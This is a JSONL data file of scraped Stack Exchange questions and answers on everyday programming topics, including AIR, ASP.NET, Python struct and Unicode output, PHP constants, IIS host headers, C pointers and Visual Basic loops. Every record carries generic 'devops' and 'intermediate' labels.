{"id": "hf_de1308729d83", "question": "<p>I have written an AIR Application that downloads videos and documents from a server. The videos play inside of the application, but I would like the user to be able to open the documents in their native applications.</p>\n\n<p>I am looking for a way to prompt the user to Open / Save As on a local file stored in the Application Storage Directory. I have tried using the FileReference + URLRequest classes but this throws an exception that it needs a remote url.</p>\n\n<p>My last resort is just copying the file to their desktop : \\</p>\n", "question_body": "", "answer": "Only way I could figure out how to do it without just moving the file and telling the user was to pass it off to the browser.\n```\n```\nnavigateToURL(new URLRequest(File.applicationStorageDirectory.nativePath + \"/courses/\" + fileName));\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.561049"}
{"id": "hf_4b5605fced7b", "question": "<p>I tried to follow a couple of googled up tutorials on setting up mod_python, but failed every time. Do you have a good, step-by step, rock-solid howto?</p>\n\n<p>My dev box is OS X, production - Centos.</p>\n", "question_body": "", "answer": "There are two main ways of running Python on Apache. The simplest would be to use CGI and write normal Python scripts while the second is using a web framework like Django or Pylons.\nUsing CGI is straightforward. Make sure your Apache config file has a cgi-bin set up. If not, follow their documentation (\nhttp://httpd.apache.org/docs/2.0/howto/cgi.html\n). At that point all you need to do is place your Python scripts in the cgi-bin directory and the standard output will become the HTTP response. Refer to Python's documentation for further info (\nhttps://docs.python.org/library/cgi.html\n).\nIf you want to use a web framework you'll need to setup mod_python or FastCGI. These steps are dependent on which framework you want to use. Django provides clear instructions on how to setup mod_python and Django with Apache (\nhttp://www.djangoproject.com/documentation/modpython/\n)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.730264"}
{"id": "hf_d196f9cc80a5", "question": "<p>I created a view on a machine using the <em>substring</em> function from Firebird, and it worked.  When I copied the database to a different machine, the view was broken.  This is the way I used it:</p>\n\n<pre><code>SELECT SUBSTRING(field FROM 5 FOR 15) FROM table;\n</code></pre>\n\n<p>And this is the output on the machine that does not accept the function:</p>\n\n<pre><code>token unknown:  FROM\n</code></pre>\n\n<p>Both computers have this configuration:</p>\n\n<ul>\n<li><em>IB Expert</em> version 2.5.0.42 to run the queries and deal with the database.</li>\n<li><em>Firebird</em> version 1.5 as server to database.</li>\n<li><em>BDE Administration</em> version 5.01 installed, with <em>Interbase</em> 4.0 drivers.</li>\n</ul>\n\n<p>Any ideas about why it's behaving differently on these machines?</p>\n", "question_body": "", "answer": "Different engine versions?\nHave you tried naming that expression in the result?\n```\n```\nSELECT SUBSTRING(field FROM 5 FOR 15) AS x FROM table;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.835182"}
{"id": "hf_114653808c6f", "question": "<p>ASP.NET server-side controls postback to their own page.  This makes cases where you want to redirect a user to an external page, but need to post to that page for some reason (for authentication, for instance) a pain.</p>\n\n<p>An <code>HttpWebRequest</code> works great if you don't want to redirect, and JavaScript is fine in some cases, but can get tricky if you really do need the server-side code to get the data together for the post.</p>\n\n<p>So how do you both post to an external URL and redirect the user to the result from your ASP.NET codebehind code?</p>\n", "question_body": "", "answer": "If you're using ASP.NET 2.0, you can do this with\ncross-page posting\n.\nEdit: I missed the fact that you're asking about an\nexternal\npage.  For that I think you'd need to have your ASP.NET page gen up an HTML form whose action is set to the remote URL and method is set to POST.  (Using cross-page posting, this could even be a different page with no UI, only hidden form elements.)  Then add a bit of javascript to submit the form as soon as the postback result was received on the client.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.887708"}
{"id": "hf_1d309b1bf15d", "question": "<p>What is the Java equivalent of PHP's <code>$_POST</code>? After searching the web for an hour, I'm still nowhere closer.</p>\n", "question_body": "", "answer": "Your\n```\nHttpServletRequest\n```\nobject has a\n```\ngetParameter(String paramName)\n```\nmethod that can be used to get parameter values.\nhttp://java.sun.com/javaee/5/docs/api/javax/servlet/ServletRequest.html#getParameter(java.lang.String)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.936679"}
{"id": "hf_b24878642b91", "question": "<p>I have a JavaScript object. Is there a built-in or accepted best practice way to get the length of this object?</p>\n<pre><code>const myObject = new Object();\nmyObject[&quot;firstname&quot;] = &quot;Gareth&quot;;\nmyObject[&quot;lastname&quot;] = &quot;Simpson&quot;;\nmyObject[&quot;age&quot;] = 21;\n</code></pre>\n", "question_body": "", "answer": "I'm not a JavaScript expert, but it looks like you would have to loop through the elements and count them since Object doesn't have a length method:\n```\n```\nvar element_count = 0;\nfor (e in myArray) {  if (myArray.hasOwnProperty(e)) element_count++; }\n```\n```\n@palmsey: In fairness to the OP, the JavaScript documentation actually explicitly refer to using variables of type Object in this manner as \"associative arrays\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:30.980065"}
{"id": "hf_2d618701fa65", "question": "<p>I am currently in the process of creating my own blog and I have got to marking up the comments, but what is the best way to mark it up?</p>\n<p>The information I need to present is:</p>\n<ol>\n<li>Persons Name</li>\n<li>Gravatar Icon</li>\n<li>Comment Date</li>\n<li>The Comment</li>\n</ol>\n<p><em>PS: I'm only interested in semantic HTML markup.</em></p>\n", "question_body": "", "answer": "Here's one way you could do it with the following CSS to float the picture to the left of the contents:\n```\n```\n.comment {\n  width: 400px;\n}\n\n.comment_img {\n  float: left;\n}\n\n.comment_text,\n.comment_meta {\n  margin-left: 40px;\n}\n\n.comment_meta {\n  clear: both;\n}\n```\n```\n```\n```\n<div class='comment' id='comment_(comment id #)'>\n  <div class='comment_img'>\n    <img src='https://placehold.it/100' alt='(Commenter Name)' />\n  </div>\n  <div class='comment_text'>\n    <p>Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Sed mauris. Morbi quis tellus sit amet eros ullamcorper ultrices. Proin a tortor. Praesent et odio. Duis mi odio, consequat ut, euismod sed, commodo vitae, nulla. Suspendisse potenti. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus. Etiam pede.</p>\n    <p>Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Maecenas rhoncus accumsan velit. Donec varius magna a est. </p>\n  </div>\n  <p class='comment_meta'>\n    By <a href='#'>Name</a> on <span class='comment_date'>2008-08-21 11:32 AM</span>\n  </p>\n</div>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.006515"}
{"id": "hf_f8b95691aea4", "question": "<p>Although I'm specifically interested in web application information, I would also be somewhat curious about desktop application development as well. This question is driven by my work on my personal website as well as my job, where I have developed a few features, but left it to others to integrate into the look and feel of the site.</p>\n\n<p>Are there any guides or rules of thumb for things like color schemes, layouts, formatting, etc? I want to ensure readability and clarity for visitors, but not be bland and dull at the same time.</p>\n\n<p>As for my knowledge in this area - If you hand me a picture, I have enough knowledge to reproduce it on the screen, but if you ask me to design a new interface or redesign an existing one, I wouldn't know where to begin.</p>\n", "question_body": "", "answer": "Usually, each operating System has user Interface Guidelines. For Windows, have a\nlook here\n. (Edit: The links in that post are broken. But a Search for \"\nUser Interface Guidelines\n\" on MSDN has articles about everything)\nApple has it's own as well. Also, you may want to keep\naccessibility\nin mind.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.031019"}
{"id": "hf_a14be5b506b8", "question": "<p>I have a self-referential Role table that represents a tree structure </p>\n\n<pre><code>ID [INT] AUTO INCREMENT\nName [VARCHAR]\nParentID [INT]\n</code></pre>\n\n<p>I am using an ADO.NET DataTable and DataAdapter to load and save values to this table. This works if I only create children of existing rows. If I make a child row, then make a child of that child, then Update, the temporary ID value generated by the DataTable is going into the ParentID column. I have the following data relation set:</p>\n\n<pre><code>dataset.Relations.Add(New DataRelation(\"RoleToRole\",RoleTable.Columns(\"ID\"), RoleTable.Columns(\"ParentID\")))\n</code></pre>\n\n<p>And when I make new child rows in the DataTable I call the SetParentRow method</p>\n\n<pre><code>newRow.SetParentRow(parentRow)\n</code></pre>\n\n<p>Is there something special I have to do to get the ID generation to propagate recursively when I call Update on the DataAdapter?</p>\n", "question_body": "", "answer": "Does it make any difference if you go\n```\n```\nnewRow.SetParentRow(parentRow, RoleTable.Relations(\"RoleToRole\"))\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.081967"}
{"id": "hf_5561056b3a9d", "question": "<p>It seems like every time I try to create a pure CSS layout it takes me much longer than if I'd use a table or two. Getting three columns to be equal lengths with different amounts of data seems to require particular fancy hacks, especially when dealing with cross-browser issues.</p>\n\n<p>My Question:</p>\n\n<p>Who are these few tables going to hurt? </p>\n\n<p>Tables seem to work particularly well on tabular data &mdash; why are they so reviled in this day and age?</p>\n\n<p>Google.com has a table in its source code, so do many other sites (<em>stackoverflow.com does not by the way</em>).</p>\n", "question_body": "", "answer": "I'm of the thought that CSS layout with as few tables as possible is cleaner and better, but I agree that sometimes you just gotta use a table.\nBusiness-wise, it's generally \"what's going to get it done the fastest and most reliable way.\" In my experience, using a few tables generally falls into that category.\nI have found that a very effective way to mitigate cross-browser differences in CSS rendering is to use the \"strict\" doctype at the top of your page:\n```\n```\n<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\" \"http://www.w3.org/TR/html4/strict.dtd\">\n```\n```\nAlso, for the dreaded IE6 CSS issues, you can use this hack:\n```\n```\n.someClass {\n    background-color:black; /*this is for most browsers*/\n    _background-color:white; /*this is for IE6 only - all others will ignore it*/\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.128682"}
{"id": "hf_fcc6e50b26e2", "question": "<p>I would have thought this would be an easy one to Google, but I've been unsucessful.</p>\n\n<p>I want to assign a variable the value out of an attribute (easy so far) then use that variable to select another node based on the value of that attribute.</p>\n\n<p>Example:</p>\n\n<pre><code>&lt;xsl:variable name=\"myId\" select=\"@id\" /&gt;\n&lt;xsl value-of select=\"//Root/Some/Other/Path/Where[@id='{@myId}']/@Name /&gt;\n</code></pre>\n\n<p>That does not work.  If I replace the {@myId} with the value that is in the variable then it does find the right node, but doign it this way produces nothing.  I'm sure I'm missing something, or perhaps there is a different way to do it.</p>\n\n<p>The context is that there is related data under different top-level nodes that share the same id value so I need to get the related nodes in my template.</p>\n", "question_body": "", "answer": "Ok, I finally figured it out.  Silly problem really, I simply needed to leave out the quotes and the braces.  One of those times when I\nthought\nthat I'd already tried that.  :D  Oh, and I mistyped @myId in the first example, the code was actually $myId.\n```\n```\n<xsl:variable name=\"myId\" select=\"@id\" />\n<xsl value-of select=\"//Root/Some/Other/Path/Where[@id=$myId]/@Name\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.174510"}
{"id": "hf_e675cdfbd50b", "question": "<p>I have a binary file that I have to parse and I'm using Python. Is there a way to take 4 bytes and convert it to a single precision floating point number?</p>\n", "question_body": "", "answer": "```\n```\n>>> import struct\n>>> struct.pack('f', 3.141592654)\nb'\\xdb\\x0fI@'\n>>> struct.unpack('f', b'\\xdb\\x0fI@')\n(3.1415927410125732,)\n>>> struct.pack('4f', 1.0, 2.0, 3.0, 4.0)\n'\\x00\\x00\\x80?\\x00\\x00\\x00@\\x00\\x00@@\\x00\\x00\\x80@'\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.196713"}
{"id": "hf_13e341b97a6c", "question": "<p>When I try to print a Unicode string in a Windows console, I get an error .</p>\n<p><code>UnicodeEncodeError: 'charmap' codec can't encode character ....</code></p>\n<p>I assume this is because the Windows console does not accept Unicode-only characters. What's the best way around this?\nIs there any way I can make Python automatically print a <code>?</code> instead of failing in this situation?</p>\n<p><strong>Edit:</strong>  I'm using Python 2.5.</p>\n<hr />\n<p><strong>Note:</strong> @LasseV.Karlsen answer with the checkmark is sort of outdated (from 2008). Please use the solutions/answers/suggestions below with care!!</p>\n<p><a href=\"https://stackoverflow.com/a/32176732/610569\">@JFSebastian answer</a> is more relevant as of today (6 Jan 2016).</p>\n", "question_body": "", "answer": "Note:\nThis answer is sort of outdated (from 2008). Please use the solution below with care!!\nHere is a page that details the problem and a solution (search the page for the text\nWrapping sys.stdout into an instance\n):\nPrintFails - Python Wiki\nHere's a code excerpt from that page:\n```\n```\n$ python -c 'import sys, codecs, locale; print sys.stdout.encoding; \\\n    sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout); \\\n    line = u\"\\u0411\\n\"; print type(line), len(line); \\\n    sys.stdout.write(line); print line'\n  UTF-8\n  <type 'unicode'> 2\n  Б\n  Б\n\n  $ python -c 'import sys, codecs, locale; print sys.stdout.encoding; \\\n    sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout); \\\n    line = u\"\\u0411\\n\"; print type(line), len(line); \\\n    sys.stdout.write(line); print line' | cat\n  None\n  <type 'unicode'> 2\n  Б\n  Б\n```\n```\nThere's some more information on that page, well worth a read.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.220266"}
{"id": "hf_1f9352713d43", "question": "<p>Is it worth learning the convention or is it a bane to readability and maintainability?</p>\n", "question_body": "", "answer": "Considering that most people that use\nHungarian Notation\nis following the misunderstood version of it, I'd say it's pretty pointless.\nIf you want to use the original definition of it, it might make more sense, but other than that it is mostly syntactic sugar.\nIf you read the\nWikipedia article\non the subject, you'll find two conflicting notations,\nSystems Hungarian Notation\nand\nApps Hungarian Notation\n.\nThe original, good, definition is the\nApps Hungarian Notation\n, but most people use the\nSystems Hungarian Notation\n.\nAs an example of the two, consider prefixing variables with l for length, a for area and v for volume.\nWith such notation, the following expression makes sense:\n```\n```\nint vBox = aBottom * lVerticalSide;\n```\n```\nbut this doesn't:\n```\n```\nint aBottom = lSide1;\n```\n```\nIf you're mixing the prefixes, they're to be considered part of the equation, and volume = area * length is fine for a box, but copying a length value into an area variable should raise some red flags.\nUnfortunately, the other notation is less useful, where people prefix the variable names with the type of the value, like this:\n```\n```\nint iLength;\nint iVolume;\nint iArea;\n```\n```\nsome people use n for number, or i for integer, f for float, s for string etc.\nThe original prefix was meant to be used to spot problems in equations, but has somehow devolved into making the code slightly easier to read since you don't have to go look for the variable declaration. With todays smart editors where you can simply hover over any variable to find the full type, and not just an abbreviation for it, this type of hungarian notation has lost a lot of its meaning.\nBut, you should make up your own mind. All I can say is that I don't use either.\nEdit\nJust to add a short notice, while I don't use\nHungarian Notation\n, I do use a prefix, and it's the underscore. I prefix all private fields of classes with a _ and otherwise spell their names as I would a property, titlecase with the first letter uppercase.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.255401"}
{"id": "hf_aee24d5af4cb", "question": "<p>This is how I wanted to do it which would work in PHP 5.3.0+</p>\n\n<pre><code>&lt;?php\n    class MyClass\n    {\n        const CONSTANT = 'Const var';        \n    }\n\n    $classname = 'MyClass';\n    echo $classname::CONSTANT; // As of PHP 5.3.0\n?&gt;\n</code></pre>\n\n<p>But I'm restricted to using PHP 5.2.6. Can anyone think of a simple way to simulate this behavior without instantiating the class?</p>\n", "question_body": "", "answer": "If you absolutly need to access a constant like that, you can do this:\n```\n```\n<?php\nclass MyClass\n{\n        const CONSTANT = 'Const var';\n}\n\n$classname = 'MyClass';\necho eval( 'return '.$classname.'::CONSTANT;' );\n?>\n```\n```\nBut, if i were you, I'd try not to use eval.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.279461"}
{"id": "hf_7dd00bd5a559", "question": "<p>I'm using IIS in Windows 2003 Server for a SharePoint intranet. <br />External incoming requests will be using the host header <code>portal.mycompany.com</code> and be forced to use SSL.</p>\n\n<p>I was wondering if there's a way to set up an alternate host header such as <br /><code>http://internalportal/</code> <br />which only accepts requests from the internal network, but doesn't force the users to use SSL.</p>\n\n<p>Any recommendations for how to set this up?</p>\n", "question_body": "", "answer": "Assuming that\nhttp://internalportal/\nwasn't accessible from outside the company, you could set up two websites in IIS. The first site, configured to use a host header value of 'portal.mycompany.com', would require SSL. The second site, configured to use a host header value of 'internalportal', would not require SSL. The host header value is configured under 'Web Site' -> 'Advanced'.\nHaving a hardware load balancer makes things much easier. The site on the load balancer is set up to require SSL, and your websites in IIS are setup not to require SSL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.338817"}
{"id": "hf_1878a6cb2990", "question": "<p>My gut feel is that document based web services are preferred in practice - is this other peoples experience? Are they easier to support? (I noted that SharePoint uses Any for the \"document type\" in its WSDL interface, I guess that makes it Document based). </p>\n\n<p>Also - are people offering both WSDL and Rest type services now for the same functionality? WSDL is popular for code generation, but for front ends like PHP and Rails they seem to prefer rest.</p>\n", "question_body": "", "answer": "Document versus RPC is only a question if you are using SOAP Web Services which require a service description (\nWSDL\n). RESTful web services do not not use WSDL because the service can't be described by it, and the feeling is that REST is simpler and easier to understand. Some people have proposed\nWADL\nas a way to describe REST services.\nLanguages like Python, Ruby and PHP make it easier to work with REST. the WSDL is used to generate C# code (a web service proxy) that can be easily called from a static language. This happens when you add a\nService Reference\nor\nWeb Reference\nin Visual Studio.\nWhether you provide SOAP or REST services depends on your user population. Whether the services are to be used over the internet or just inside your organization affects your choice. SOAP may have some features (WS-* standards) that work well for B2B or internal use, but suck for an internet service.\nDocument/literal versus RPC for SOAP services are described on this\nIBM DevelopWorks article\n. Document/literal is generally considered the best to use in terms of interoperability (Java to .NET etc). As to whether it is easier to support, that depends on your circumstances. My personal view is that people tend to make this stuff more complicated than it needs to be, and REST's simpler approach is superior.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.422761"}
{"id": "hf_9a9eea954585", "question": "<p>I want some links to include a fragment identifier. Like some of the URLs on this site:</p>\n\n<p><a href=\"https://stackoverflow.com/questions/5619/ie6-ssl-ajax-post-form-404-error\">Debugging: IE6 + SSL + AJAX + post form = 404 error</a><strong>#5626</strong></p>\n\n<p>Is there a way to do this with any of the built-in methods in MVC? Or would I have to roll my own HTML helpers?</p>\n", "question_body": "", "answer": "The short answer is: No. In ASP.NET MVC Preview 3 there's no first-class way for including an anchor in an action link. Unlike Rails' url_for :anchor, UrlHelper.GenerateUrl (and ActionLink, RedirectToAction and so on which use it) don't have a magic property name that lets you encode an anchor.\nAs you point out, you could roll your own that does. This is probably the cleanest solution.\nHackily, you could just include an anchor in a route and specify the value in your parameters hash:\n```\n```\nroutes.MapRoute(\"WithTarget\", \"{controller}/{action}/{id}#{target}\");\n...\n<%= Html.ActionLink(\"Home\", \"Index\", new { target = \"foo\" })%>\n```\n```\nThis will generate a URL like /Home/Index/#foo. Unfortunately this doesn't play well with URL parameters, which appear at the end of the URL. So this hack is only workable in really simple circumstances where all of your parameters appear as URL path components.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.483617"}
{"id": "hf_d9eacf1be18d", "question": "<p>The StackOverflow transcripts are enormous, and sometimes I want to link to a little bit within it.</p>\n\n<p>How do I create an HTML anchor in a FogBugz wiki page?</p>\n", "question_body": "", "answer": "According to\nthis support message\n, the feature is not yet currently implemented:\nThe FogBugz wiki does not currently support anchors within a document, unfortunately.  It's definitely on the list of features we're considering for the next release, though.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.548331"}
{"id": "hf_3921167644f5", "question": "<p>I'm not sure if it's my system, although I haven't done anything unusual with it, but I've started noticing incorrectly rendered characters popping up in web pages, text-files, <a href=\"http://ejohn.org/blog/html5-doctype/\" rel=\"nofollow noreferrer\">like this</a>:</p>\n\n<p><a href=\"http://www.kbssource.com/strange-characters.gif\" rel=\"nofollow noreferrer\">http://www.kbssource.com/strange-characters.gif</a></p>\n\n<p>I have a hunch it's a related to the fairly recent trend to use unicode for everything, which is a good thing I think, combined with fonts that don't support all possible characters.</p>\n\n<p>So, does anyone know what's causing these blips (am I right?), and how do I stop this showing up in my own content?</p>\n", "question_body": "", "answer": "It appears that for this particular author, the text was edited in some editor that assumed it wasn't UTF8, and then re-wrote it out in UTF8. I'm basing this off the fact that if I tell my browser to interpret the page as different common encodings, none make it display correctly. This tells me that some conversion was done at some point improperly.\nThe only problem with UTF8 is that there isn't a standardized way to recognize that a file is UTF8, and until all editors are standardizing on UTF8, there will still be conversion errors. For other unicode variants, a Byte Order Mark (BOM) is fairly standard to help identify a file, but BOMs in UTF8 files are pretty rare.\nTo keep it from showing up in your content, make sure you're always using unicode-aware editors, and make sure that you always open your files with the proper encodings. It's a pain, unfortunately, and errors will occasionally crop up. The key is just catching them early so that you can undo it or make a few edits.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.574600"}
{"id": "hf_9669e875675e", "question": "<p>I got this error today when trying to open a Visual Studio 2008 <strong>project</strong> in Visual Studio 2005:</p>\n\n<blockquote>\n  <p>The imported project \"C:\\Microsoft.CSharp.targets\" was not found.</p>\n</blockquote>\n", "question_body": "", "answer": "Open your csproj file in notepad (or notepad++)\nFind the line:\n```\n```\n<Import Project=\"$(MSBuildToolsPath)\\Microsoft.CSharp.targets\" />\n```\n```\nand change it to\n```\n```\n<Import Project=\"$(MSBuildBinPath)\\Microsoft.CSharp.targets\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.598326"}
{"id": "hf_ea53e3e8910b", "question": "<p>Why are pointers such a leading factor of confusion for many new, and even old, college level students in C or C++?  Are there any tools or thought processes that helped you understand how pointers work at the variable, function, and beyond level?</p>\n\n<p>What are some good practice things that can be done to bring somebody to the level of, \"Ah-hah, I got it,\" without getting them bogged down in the overall concept? Basically, drill like scenarios.</p>\n", "question_body": "", "answer": "Why are pointers such a leading factor of confusion for many new, and even old, college level students in the C/C++ language?\nThe concept of a placeholder for a value - variables - maps onto something we're taught in school - algebra.  There isn't an existing parallel you can draw without understanding how memory is physically laid out within a computer, and no one thinks about this kind of thing until they're dealing with low level things - at the C/C++/byte communications level.\nAre there any tools or thought processes that helped you understand how pointers work at the variable, function, and beyond level?\nAddresses boxes.  I remember when I was learning to program BASIC into microcomputers, there were these pretty books with games in them, and sometimes you had to poke values into particular addresses.  They had a picture of a bunch of boxes, incrementally labelled with 0, 1, 2... and it was explained that only one small thing (a byte) could fit in these boxes, and there were a lot of them - some computers had as many as 65535!  They were next to each other, and they all had an address.\nWhat are some good practice things that can be done to bring somebody to the level of, \"Ah-hah, I got it,\" without getting them bogged down in the overall concept? Basically, drill like scenarios.\nFor a drill?  Make a struct:\n```\n```\nstruct {\nchar a;\nchar b;\nchar c;\nchar d;\n} mystruct;\nmystruct.a = 'r';\nmystruct.b = 's';\nmystruct.c = 't';\nmystruct.d = 'u';\n\nchar* my_pointer;\nmy_pointer = &mystruct.b;\ncout << 'Start: my_pointer = ' << *my_pointer << endl;\nmy_pointer++;\ncout << 'After: my_pointer = ' << *my_pointer << endl;\nmy_pointer = &mystruct.a;\ncout << 'Then: my_pointer = ' << *my_pointer << endl;\nmy_pointer = my_pointer + 3;\ncout << 'End: my_pointer = ' << *my_pointer << endl;\n```\n```\nSame example as above, except in C:\n```\n```\n// Same example as above, except in C:\nstruct {\n    char a;\n    char b;\n    char c;\n    char d;\n} mystruct;\n\nmystruct.a = 'r';\nmystruct.b = 's';\nmystruct.c = 't';\nmystruct.d = 'u';\n\nchar* my_pointer;\nmy_pointer = &mystruct.b;\n\nprintf(\"Start: my_pointer = %c\\n\", *my_pointer);\nmy_pointer++;\nprintf(\"After: my_pointer = %c\\n\", *my_pointer);\nmy_pointer = &mystruct.a;\nprintf(\"Then: my_pointer = %c\\n\", *my_pointer);\nmy_pointer = my_pointer + 3;\nprintf(\"End: my_pointer = %c\\n\", *my_pointer);\n```\n```\nOutput:\n```\n```\nStart: my_pointer = s\nAfter: my_pointer = t\nThen: my_pointer = r\nEnd: my_pointer = u\n```\n```\nPerhaps that explains some of the basics through example?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.646307"}
{"id": "hf_c2b542caa43a", "question": "<p>Using Firebug v1.20b7 with Firefox v3.0.1 I use firebug a lot for web devlopment.</p>\n\n<p>I have very often the problem that Firebug won't show its web console for seeing the <code>POSTs</code> and <code>GETs</code>. I can view all the other tabs, including the NET tab that gives me a lot of the same information that the CONSOLE tab does.</p>\n\n<p>Curious if anyone else has had this problem, and maybe a solution, or maybe this is a bug of Firebug.</p>\n", "question_body": "", "answer": "Well, 1.20b7 is technically a\nbeta\nversion of Firebug. :)\nI've had problems with certain features off and on, but a restart of Firefox seems to fix it more often than not.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.670331"}
{"id": "hf_fb3d33060d31", "question": "<p>I just moved over to the Visual Basic team here at work.</p>\n\n<p>What is the equivalent keyword to <code>break</code> in Visual Basic, that is, to exit a loop early but not the method?</p>\n", "question_body": "", "answer": "In both Visual Basic 6.0 and\nVB.NET\nyou would use:\n```\nExit For\n```\nto break from For loop\n```\nWend\n```\nto break from While loop\n```\nExit Do\n```\nto break from Do loop\ndepending on the loop type. See\nExit Statements\nfor more details.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:21:31.705536"}
